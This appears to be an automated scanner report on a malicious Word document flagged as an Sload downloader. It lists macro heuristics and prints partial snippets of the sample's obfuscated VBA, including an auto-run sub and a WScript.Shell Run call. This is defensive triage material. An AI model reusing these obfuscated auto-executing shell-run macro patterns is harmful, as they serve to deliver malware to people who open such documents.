MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an attempt to execute external code, likely a downloader for a second-stage payload. The presence of these functions and the ClamAV detection strongly suggest a downloader family.

Heuristics 10

  • ClamAV: Doc.Downloader.Sload-6817535-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6817535-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage

       Set overriderw = navigatingia
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Viewwb = IncredibleWoodenBikejn
    strategicpf = Array(freshthinkingbr, missioncriticalzz, Georgiajn, CreateObject("WscRipt.sHeLl").Run!(("" + backingupjw + calculatezh + clicksandmortarjq + LicensedSteelComputerjj.TextBox1) + SmallConcreteTablerb + Lightlf, 75 - 75), Quetzaldu, InvestmentAccountqp, Buckinghamshireim)
       Set overriderw = navigatingia
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Regionalnv"
    Sub autoopen()
    hackingsn = Array(HandcraftedFreshChipsja, maximizekc, invoiceaw, Factorsrm, greyjf, Woodenlt, panelpp)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
